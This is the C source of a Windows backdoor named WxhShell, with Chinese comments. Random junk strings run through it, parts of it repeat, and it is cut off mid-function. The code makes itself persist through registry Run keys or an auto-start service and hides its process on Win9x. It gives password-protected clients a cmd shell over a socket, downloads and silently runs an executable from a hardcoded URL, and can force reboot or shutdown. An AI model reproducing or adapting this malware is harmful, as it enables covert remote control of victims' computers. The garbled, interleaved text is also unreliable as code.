g_pEnumProcessModules = NULL ; u6qK4*eAD static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]?eZDf~ q2qi~}l HANDLE hProcess; 6j<9Y PROCESS_BASIC_INFORMATION pbi; M tN>5k c CVj^{||eF HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;O"?6d0 if(NULL == hInst ) return 0; TR"C<&y$j b$ G{^ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @IT[-d g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j]Auun NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o>el"0rn.h z5+Pi:1w if (!NtQueryInformationProcess) return 0; +HK4sA2; a~$XD(w^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q#bW"},^k if(!hProcess) return 0; 9mF' K`4rUEf}V" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (!~cOx
S*h52li CloseHandle(hProcess); ?bTfQH
vX gD,&TW hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?YhDjQs if(hProcess==NULL) return 0; w_9^YO!! 8Sbz)X HMODULE hMod; kB7vc>@1 char procName[255]; !NXjax\r unsigned long cbNeeded; $%<{zWQm ?|nl93m if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7#V7D6j1 MqyjTY::Xg CloseHandle(hProcess); %pC<T*f ,/;Aew; if(strstr(procName,"services")) return 1; // 以服务启动 1'kO{Ge*p: =C"[o\]VV return 0; // 注册表启动 E
C?}iP } BZq#OAp '\:4Ijp<" // 主模块 ({f}Z-% int StartWxhshell(LPSTR lpCmdLine)
!`69.v { 9:j?Jvw$ SOCKET wsl; Ox3=1M0 BOOL val=TRUE; k(gbUlCc int port=0; YEL0h0gn struct sockaddr_in door; })g<I+]Hf9 ^&zCPUH if(wscfg.ws_autoins) Install(); TOwd+]B &?<uR)tl port=atoi(lpCmdLine); X Xque- dkQ4D2W*\ if(port<=0) port=wscfg.ws_port; (jc@8@Wo. <2$vo WSADATA data; y Zafq"o if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &Mh.PzO=b L^J4wYFTO if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]e>qvSuYh setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6g(;2gY door.sin_family = AF_INET; r`H}f#.KR door.sin_addr.s_addr = inet_addr("127.0.0.1"); #M,&g{ door.sin_port = htons(port); inh0p^ p{f R$-d if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HJL! ;i closesocket(wsl); ,OE&e*1 return 1; Hon2;-:]{] } |'^s3i&w %iyc1]w{ if(listen(wsl,2) == INVALID_SOCKET) { 1\}vU closesocket(wsl); FO!Td return 1; A*JOp8\) } 4TtC~#D: Wxhshell(wsl); 3I)~;>meo WSACleanup(); N*Y[[N( K-qWT7< return 0; u]^s2v qeZG/\, } GQ2GcX(E( aZ#FKp^8H // 以NT服务方式启动 rRTKF0+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |IgR1kp+. { Xp<q`w0I, DWORD status = 0; &@~K8*tmK DWORD specificError = 0xfffffff; -amo8V;2H ^y<^hKjV serviceStatus.dwServiceType = SERVICE_WIN32; E`HoJhB serviceStatus.dwCurrentState = SERVICE_START_PENDING; -hd serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L.n@;* serviceStatus.dwWin32ExitCode = 0; ]'.qRTz'\t serviceStatus.dwServiceSpecificExitCode = 0; ^e:z ul{;] serviceStatus.dwCheckPoint = 0; }:m#}s serviceStatus.dwWaitHint = 0; l6M?[ ,=/9Ld2w9 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,Py\Cp=Dw if (hServiceStatusHandle==0) return; Sd+5Uf` <)qa{,GX\ status = GetLastError(); <=(K'eqC^ if (status!=NO_ERROR) 5 jrR]X { HqGI. serviceStatus.dwCurrentState = SERVICE_STOPPED; corm'AJ/ serviceStatus.dwCheckPoint = 0; A95f!a serviceStatus.dwWaitHint = 0;
Xdvd\H= serviceStatus.dwWin32ExitCode = status; ;jPsS^X serviceStatus.dwServiceSpecificExitCode = specificError; 2&6D`{"P SetServiceStatus(hServiceStatusHandle, &serviceStatus); TTf
j5 return; NdK`-RT } (,At5T w,%"+tY_ serviceStatus.dwCurrentState = SERVICE_RUNNING; >a;a8EA<O serviceStatus.dwCheckPoint = 0;
f<o|5r serviceStatus.dwWaitHint = 0; 35h|?eN_m! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `?VK(<w0q } Gb')a/ 9z,sn#-t // 处理NT服务事件,比如:启动、停止 O4rjGTRF VOID WINAPI NTServiceHandler(DWORD fdwControl) &4Z8df! { >d 5-if switch(fdwControl) {`HbpM<=m] { 7qC
/a
c case SERVICE_CONTROL_STOP: ;qmnG3;Q serviceStatus.dwWin32ExitCode = 0; ;>,B(Xz4i serviceStatus.dwCurrentState = SERVICE_STOPPED; qq)5)S serviceStatus.dwCheckPoint = 0; ZflB<cI serviceStatus.dwWaitHint = 0; s_^`t+5 { |d0X1( SetServiceStatus(hServiceStatusHandle, &serviceStatus); =dXHQU&Q } )nd^@G^ return; vJE=H9E case SERVICE_CONTROL_PAUSE: Bg|d2,im serviceStatus.dwCurrentState = SERVICE_PAUSED; g *5_m(H break; 2dts}G case SERVICE_CONTROL_CONTINUE: mnTF40l serviceStatus.dwCurrentState = SERVICE_RUNNING; bTs2$81[ break; HT7,B(.} case SERVICE_CONTROL_INTERROGATE: 1wgL^Qz@ break; v.ZUYa| }; It*U"4lgi SetServiceStatus(hServiceStatusHandle, &serviceStatus); aB%.]bi } s}zR@ !` :3F[!y3b // 标准应用程序主函数 ^EIuGz1@0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0fc;H}B* { \Z.r Pq @!;A^<{ka // 获取操作系统版本 PqspoH
0OI OsIsNt=GetOsVer(); rtPo)#t GetModuleFileName(NULL,ExeFile,MAX_PATH); )xp3
ElH /qdv zv%T // 从命令行安装 FH</[7f;@N if(strpbrk(lpCmdLine,"iI")) Install(); yLRe'5#m %YVPm*J~ // 下载执行文件 fR1LVLU if(wscfg.ws_downexe) {
b>5*G1 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tY$@,>2 v WinExec(wscfg.ws_filenam,SW_HIDE); }$)~HmZw } 4KH'S'eR (-<hx~ if(!OsIsNt) { '`8 ^P // 如果时win9x,隐藏进程并且设置为注册表启动 Q g/Rw4[ HideProc(); gj|5"'g% StartWxhshell(lpCmdLine); B4 bB`r } u<j;+-]8h else 8P]nO+ if(StartFromService()) ^*jwe^ // 以服务方式启动 $H*8H` StartServiceCtrlDispatcher(DispatchTable); kTjn%Sn, else ;X}2S!7Ko // 普通方式启动 1_7p`Gxt[/ StartWxhshell(lpCmdLine); 2K4Xu9-i:b <v1H1'gv return 0; Boj R" } &n*ga$Q "Lvk?k
)hx E}Cz(5 [kJ;Uxncz~ =========================================== zE;|MU@| BMq> Cj+ "yymnIQ3u Q 1i5"'][ ?C CQm 8B ,S_0! " N_G&nw IAA_Ft #include <stdio.h> F]RPM(!5O) #include <string.h> tk0m[HN@eV #include <windows.h> p*K #s1 #include <winsock2.h> y/@Bhzc #include <winsvc.h> t!4 (a0\$F #include <urlmon.h> R(t%/Hvs$ }
e w{WD #pragma comment (lib, "Ws2_32.lib") ,`U>BBBLv #pragma comment (lib, "urlmon.lib") 'oz$uvX '!$QI@@ #define MAX_USER 100 // 最大客户端连接数 uj;iE
9 #define BUF_SOCK 200 // sock buffer xM{[~Kh_x #define KEY_BUFF 255 // 输入 buffer ,7$&gx>2& }S"gZ6 #define REBOOT 0 // 重启 Q>[{9bI4QP #define SHUTDOWN 1 // 关机 U| yt }<kl3{) #define DEF_PORT 5000 // 监听端口 ;0Uat N[9o6Nl|a #define REG_LEN 16 // 注册表键长度 Ri"rT] ' #define SVC_LEN 80 // NT服务名长度 ^WU[+H ; )4o8SF7lz // 从dll定义API ?taC
!{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uv5NqL& typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q'fOlq typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RJ'za1@z;b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "r`2V-E c}v8j2{ // wxhshell配置信息 Sj)?! struct WSCFG { ^?|4<Rm int ws_port; // 监听端口 BgN^].z& char ws_passstr[REG_LEN]; // 口令 ;=2JbA+"G int ws_autoins; // 安装标记, 1=yes 0=no zM8 jjB char ws_regname[REG_LEN]; // 注册表键名 k
%{q
q v char ws_svcname[REG_LEN]; // 服务名 37n2 #E char ws_svcdisp[SVC_LEN]; // 服务显示名 AW;xlY= g char ws_svcdesc[SVC_LEN]; // 服务描述信息 Sc3{Y+g char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p v4#`.m int ws_downexe; // 下载执行标记, 1=yes 0=no :bo2H[U+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3hkEjR char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r}Vr_ Ww~C[8q }; +dCR$<e9r uJ|,-"~F // default Wxhshell configuration CVY-U|xFY struct WSCFG wscfg={DEF_PORT, D,$M$f1 "xuhuanlingzhe", )a!f")@uz 1, )EYs+7/t "Wxhshell",
"X=^MGV "Wxhshell", ZHwl 9n#m "WxhShell Service", RK*tZ "Wrsky Windows CmdShell Service", 1z; !)pG. "Please Input Your Password: ", EAh|$~X 1, b L.Xby<Y "http://www.wrsky.com/wxhshell.exe", O*2{V]Y
@ "Wxhshell.exe" +-x+c:
IxA }; Lcg1X3$G
w@mCQ$ // 消息定义模块 }ub>4N[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; U e-AF# char *msg_ws_prompt="\n\r? for help\n\r#>"; FYNUap,A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1C=42ZZ&2 char *msg_ws_ext="\n\rExit."; ^^V+0 l char *msg_ws_end="\n\rQuit."; zWN]#W` char *msg_ws_boot="\n\rReboot..."; @<OsTF L char *msg_ws_poff="\n\rShutdown..."; -0'<7FSQ char *msg_ws_down="\n\rSave to "; @6[aLF]F
aR)UHxvX char *msg_ws_err="\n\rErr!"; M~X~2`fFH char *msg_ws_ok="\n\rOK!"; l"&iSq!3= W`[7|8(6! char ExeFile[MAX_PATH]; $Q|6W &?[; int nUser = 0; TJcHqzcUc HANDLE handles[MAX_USER]; SA"4|#3>7 int OsIsNt; PTpfa*t "T8b.ng SERVICE_STATUS serviceStatus; daB5E<? SERVICE_STATUS_HANDLE hServiceStatusHandle; eMOp}.zt| ?t;,Nk`jx // 函数声明 "SKv'*\b int Install(void); !!6@r|. int Uninstall(void); `^g-2~ int DownloadFile(char *sURL, SOCKET wsh); 0p,_?3nX int Boot(int flag); J,h'eY5 void HideProc(void); t }K8{
V int GetOsVer(void); pNHL &H\ int Wxhshell(SOCKET wsl); #VZ-gy4$\B void TalkWithClient(void *cs); .i7"qq.M int CmdShell(SOCKET sock); ;M+~e~ int StartFromService(void); Q>z(!'dw int StartWxhshell(LPSTR lpCmdLine); }PMlG SQ/}K8uZ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kT^`j^Jr VOID WINAPI NTServiceHandler( DWORD fdwControl ); W9G jUswv! 3;//o< // 数据结构和表定义 P=ubCS' SERVICE_TABLE_ENTRY DispatchTable[] = gxDyCL$h3 { 9)F$){G]vs {wscfg.ws_svcname, NTServiceMain}, XU['lr&,W {NULL, NULL} ;F2"gTQS }; r"7 !J[u .L)j
ql% // 自我安装 eH;{Ln int Install(void) 5uM`4xkj { P$__c{1\ char svExeFile[MAX_PATH]; t,5AoK/NL9 HKEY key; ?+] strcpy(svExeFile,ExeFile); k
c L
+ sEa| 2$ // 如果是win9x系统,修改注册表设为自启动 JWQd6JQ_~V if(!OsIsNt) { yTWicW7i if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4f213h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }.A
\;FDyj RegCloseKey(key); {o%OG/!1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UJ)(Sw RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OQ3IkE`G RegCloseKey(key); b\SB return 0; o^d } m7cG]a~a } fo;^Jg. } q' t" else { @Bsvk9} J32"Ytdo< // 如果是NT以上系统,安装为系统服务 RHI?_gf& SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y<ZT~e if (schSCManager!=0) 4g+o/+6!4 { ad<ZdO*h SC_HANDLE schService = CreateService Xq$9H@. ( D'Kiy schSCManager, q] '2'"k wscfg.ws_svcname, !imjfkG wscfg.ws_svcdisp, ?KFj=Yo SERVICE_ALL_ACCESS, |v"&Y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U uSCqI}; SERVICE_AUTO_START, {UuSNZ[^ SERVICE_ERROR_NORMAL, g|{Ru svExeFile, .V{y9e+ NULL, 1VPxCB\ NULL, *)T7DN8 NULL, p+F>+OQ* NULL, J)^Kls\>t NULL g0s*4E ); NV18~5#</ if (schService!=0) xf3/J{n3 { &A&2z l %# CloseServiceHandle(schService); gGbJk&E CloseServiceHandle(schSCManager); pq,8z= Uf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #@cEJV;5" strcat(svExeFile,wscfg.ws_svcname); JF9r[% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U;]h/3P RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *5" )3\/ RegCloseKey(key); j-/F*P return 0; YZc{\~d } ^B'N\[ } $btk48a 7 CloseServiceHandle(schSCManager); P\2x9T } N}\3UHtO } $*+`;PG- ?fvK<0S` return 1; (+9^)No } o[k,{`M0 HA;G{[X // 自我卸载 j>O!|V int Uninstall(void) NY%=6><t! { u:}yE^8 @ HKEY key;
rUBc5@| (p? B= if(!OsIsNt) { >'{'v[qR[G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xU;Q~( RegDeleteValue(key,wscfg.ws_regname); 5J*h7 RegCloseKey(key); A~wVY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pLpWc~# RegDeleteValue(key,wscfg.ws_regname); a_Z[@W RegCloseKey(key); ~J1UzUxX2 return 0; K;~I;G
} 3\?yjL^ } 6;}W)S } 0?,%B?A8O else { fsV_>5I6 *|.-y-> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '8"$:y if (schSCManager!=0) iR{*XE
{ dJ=z'?|%g SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2~!+EH
if (schService!=0) &&|c-mD+* { 2PEA<{u if(DeleteService(schService)!=0) { pa6-3c CloseServiceHandle(schService); F)uS2 CloseServiceHandle(schSCManager); ]|K@0, return 0; -<@QR8: } k`r`ZA(kQ- CloseServiceHandle(schService); =o,6iJ^?$m } Qg
gx: CloseServiceHandle(schSCManager); gP>`DPgb^ } KOVR=``"/ } R}0!F2
mI3
\n return 1; f VpE&F } (-hGb: 5c6?$v/ // 从指定url下载文件 yxL(mt8 int DownloadFile(char *sURL, SOCKET wsh) HpR(DG)
? { nB#XQ8Nzx^ HRESULT hr; E9v_6d[ char seps[]= "/"; ;Km74!.e7 char *token; =
GZ,P
( char *file; >jg"y char myURL[MAX_PATH]; OVU+V 0w1a char myFILE[MAX_PATH]; rI;tMNs 9\a;75a strcpy(myURL,sURL); "tg?V token=strtok(myURL,seps); pcO0xrI while(token!=NULL) oC1Nfc+ {
^#&:-4/ file=token; ffoLCx4o0E token=strtok(NULL,seps); (@;=[5+ } gSXidh}^ :B5M#D!dO GetCurrentDirectory(MAX_PATH,myFILE); ^U]B&+m strcat(myFILE, "\\"); ;wj8:9
; strcat(myFILE, file); M%qHf{ B send(wsh,myFILE,strlen(myFILE),0); <~-cp61z; send(wsh,"...",3,0); =.8fES hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v0'`K 5M if(hr==S_OK) N9gbj%+ return 0; y-^m else PuGc{kt return 1; s(shgI 3g ~)IiF.I b } 4~mmP.c ^Qa!{9o[ // 系统电源模块 xHi.N*~D int Boot(int flag) }\/
3B_X6N { [mA\,ny9 HANDLE hToken; y#)ad\ TOKEN_PRIVILEGES tkp; ?S~j2 J] kr>H,%3~ if(OsIsNt) { )|`|Usn#[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M
Qlx&.> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @;ob 4sU tkp.PrivilegeCount = 1; }q D0- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T~-OC0 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NX9K%J if(flag==REBOOT) { {<y.G1<. if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) acdF5ch@ return 0; ="__*J#nze } BoHpfx1C else { E7>D:BQ\2 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A4hbh$ return 0; %e%VHHO| } Ue2%w/Yo } n(?BZ'&!O else { Gsa~zGN if(flag==REBOOT) { ?5jq)xd2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Va3/#is' return 0; 8a,pDE } L@>$
Aw else { x4%1P w if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [ T!0ka return 0; (hFyp}jkk } $hq'9}ASOL } 5><KTya?= y;xY74Nq return 1; Hh{pp ^ } t?;\' Dwg_#GSr // win9x进程隐藏模块 \:D"#s%x void HideProc(void) <%GfF![v { >dYN@cB$} W~qVZ(G*U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y';"tD Fb if ( hKernel != NULL ) K4K]oT { W 2T6JFv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =--oH'P=M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x#c%+ FreeLibrary(hKernel); y`8bx94jB } O"V;otlC nC(<eL return; =]m,7 v Rq } EUjA-L( R8C#DB // 获取操作系统版本 ()o[(Hx+ph int GetOsVer(void) z6x`O-\ { gOLN7K-) OSVERSIONINFO winfo; jU0E=;1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q7 @oAeNd GetVersionEx(&winfo); fF]w[lLDv if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /lDei} return 1; Z)'gj else ne9-
c>> return 0; G;Py%8 } 4c9a"v _(:<l
YaY // 客户端句柄模块 6'45c1e int Wxhshell(SOCKET wsl) WO!'(" { pxb4x#CC SOCKET wsh; 8KMo !p\i struct sockaddr_in client; t+Au6/Dx? DWORD myID; |*n
B2 _:7:ixN[Ie while(nUser<MAX_USER) kY^ k*-v { "X,*VQl: int nSize=sizeof(client); /_qW?LKG/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W*r1Sy if(wsh==INVALID_SOCKET) return 1; &(X 67 +sT S1t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )18C(V-x if(handles[nUser]==0) -OXC;y closesocket(wsh); V_/.]zQA else Y1R?,5 nUser++; Yan}H}Oq } 9Yd"Y- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W[<ZI>mf 3nnoXc' return 0; s`gfz}/ } <rxtdI"3 2;ju/9x // 关闭 socket 6_g:2=6S void CloseIt(SOCKET wsh) X.+|o@G { 5
BLAa1 closesocket(wsh); J#xZ.6) nUser--; b} FhC"'i ExitThread(0); %ty`Oa2 } 7KL@[ WS//0 // 客户端请求句柄 -car>hQq void TalkWithClient(void *cs) +t%1FkI\ { EhAaaG {"c`k4R SOCKET wsh=(SOCKET)cs; 6/6{69tnr char pwd[SVC_LEN]; Vw]!Kb7tA char cmd[KEY_BUFF]; eY[kUMo char chr[1]; j]C}S*`" int i,j; 'P)c'uqd# 1pAcaJzf while (nUser < MAX_USER) { \03ZE^H HZqk)sN if(wscfg.ws_passstr) { gY!?JZC-0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {5]c\_. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +w/B3b //ZeroMemory(pwd,KEY_BUFF); b/?)_pg i=0; 2N{^V?: while(i<SVC_LEN) { mDx=n.lIz ]=ADX} // 设置超时 RT|1M"?$ fd_set FdRead; .$fSWlM; struct timeval TimeOut; "
v<O)1QT FD_ZERO(&FdRead); 9oYE FD_SET(wsh,&FdRead); 0D Lw TimeOut.tv_sec=8; ,b4oV TimeOut.tv_usec=0; _L+j6N.h1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E0AbVa. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vXm'ARj
/cT6X]o8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZUkM8M$c pwd=chr[0]; sI.p(
-KQ if(chr[0]==0xd || chr[0]==0xa) { 0O[le*3b pwd=0; YSrjg|k* break; &\%\"Zh } ;Yt+{pI i++; %JgdLnQE } \)?+6D'# )-0+O=v // 如果是非法用户,关闭 socket /_qHF- if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #Vu;R5GZ} } P=PeWX*L<Z v*OV\h. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !_FTy^@c2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cyo[HI?WM XFYa+]B2q while(1) { C^;>HAK|F bp<,Xfl ZeroMemory(cmd,KEY_BUFF); 3"juj' NeJ->x, // 自动支持客户端 telnet标准 W,"Re,`H j=0; u=tp80_ while(j<KEY_BUFF) { *?\u5O( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UVXSW*$ cmd[j]=chr[0]; w{t]^w: if(chr[0]==0xa || chr[0]==0xd) { C`R<55x6 cmd[j]=0; iL2_ _TO break; 5KP\ #Y } OAD W;fj j++; Ot)S\s> } G<*
Iw>ep C1+f\A|9FP // 下载文件 .9N7` if(strstr(cmd,"http://")) { #uF`|M$u send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~KRS0^ if(DownloadFile(cmd,wsh)) y+Hz(}4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); D(OJr5Gg else 1$+8wDVwad send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @+l=R| } "iR:KW@ else { &_u.q/~ ALV(fv$cD switch(cmd[0]) { ,i1BoG &=MVX>[ // 帮助 N:+)6a case '?': { \|6VGh \Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @%G?Nht]o break; w$Fg0JS } X&kp1Ih<^ // 安装 K7([Gc9 case 'i': { DVVyWn[ if(Install()) ;b:'i&r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5\=
y9Z- x else H\qZu%F' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G |[{\ break; O@4 J=P=w } PR]b]= // 卸载 Wa7wV
9 case 'r': { SZyORN if(Uninstall()) N#ZWW6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); k}p8"'O else $dXx@6fP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %B( rW?p& break; Uqb]&2 } Dk>6PBl // 显示 wxhshell 所在路径 ".%d{z}vz case 'p': { IRwtM'%0 char svExeFile[MAX_PATH]; .izq}q*P strcpy(svExeFile,"\n\r"); #\`kg#& strcat(svExeFile,ExeFile); ZX64kk+ send(wsh,svExeFile,strlen(svExeFile),0); fIl!{pv[ break; jw9v&/- } _Z!@#y@j // 重启 GGhk~H4OP case 'b': { i#hFpZ6u send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~!!\#IX if(Boot(REBOOT)) dJ
m9''T') send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~D>pu%F else { KX]!yA closesocket(wsh); 3F@P$4!#l ExitThread(0); Eh ";irE } $xbW*w break; k}Q<#
} I8j:{*h // 关机 6o7t eX case 'd': { Ei):\,Nv send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |oke)w=gn if(Boot(SHUTDOWN)) 9$Z0mz k send(wsh,msg_ws_err,strlen(msg_ws_err),0); /1v9U|j else { KMz!4N closesocket(wsh); )S(Ly. ExitThread(0); XC)9aC@s } e1LIk1`p break; }ePl&-9T } *=2W:,$ // 获取shell ~bxev/$d case 's': { 4|E^
#C CmdShell(wsh); giX[2`^NG closesocket(wsh); (Jw_2pHxr" ExitThread(0); 3,Yr%`/5' break; Uu5(/vw] } eF22 ~P // 退出 j&oRj6;Ha+ case 'x': { #}FUa u$ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V(F9=r<X CloseIt(wsh); _OTVQo Ap break; U]~@_j } Tk4>Jb // 离开 Lr D@QBT case 'q': { j}eb
_K+I send(wsh,msg_ws_end,strlen(msg_ws_end),0); y'`/^>. closesocket(wsh); "H).2{3(x WSACleanup(); fDf[:A,8 exit(1); DJL.P6 -W break; $VvgzjrH } &]#L'D!" } nYjrEy)Q } e))L&s 3@Mh* \;\b // 提示信息 X!ruQem / if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jRg
gj`o } 3WJk04r } =+Fb\HvX{
r!?ga return; 3X`9&0:j% } eMC^ORdY ovTL'j! // shell模块句柄 p>`rTaeZg int CmdShell(SOCKET sock) Iz09O:ER { 1xW!j!A; STARTUPINFO si; B/1j4/MS ZeroMemory(&si,sizeof(si)); b4e~Z si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M`H#Qo5/ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p)yP_P PROCESS_INFORMATION ProcessInfo; heCM+=#~ char cmdline[]="cmd"; .Q,"gsY CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \D? '.Wo% return 0; lD0-S0i } D4!;*2t V|97; // 自身启动模式 C~qZ& int StartFromService(void) nc k/Dw { q()o|V typedef struct T,pr&1]Lw { /GIGE##1F DWORD ExitStatus; THp_ dTD DWORD PebBaseAddress; Nh.+woFq4 DWORD AffinityMask; {Ya$Q#l DWORD BasePriority; Uz^N6q ULONG UniqueProcessId; O8@65URKx ULONG InheritedFromUniqueProcessId;
0Idek } PROCESS_BASIC_INFORMATION; ]`&_!T bE
!SW2:M PROCNTQSIP NtQueryInformationProcess; q !z"YpYB SH{@yS[c! static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y,)(Q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Xfq`k/ W yS
W$zA, HANDLE hProcess; ZL6HD n! PROCESS_BASIC_INFORMATION pbi; wf\"&xwh? )4
4Y`v HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *OG<+#*\_? if(NULL == hInst ) return 0; NZB*;U~t ]!B0= XP g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !E 5FU *s g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >zW2w2O3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j~-N2b6z 8!{*!|Xd if (!NtQueryInformationProcess) return 0; |IcW7( cAW}a hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XHk"nbj if(!hProcess) return 0; xpR`fq 1&=)Bxg4 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ek)drt7cy Z!"-LQJ CloseHandle(hProcess); k<< x}= VhUWws3E hProcess = 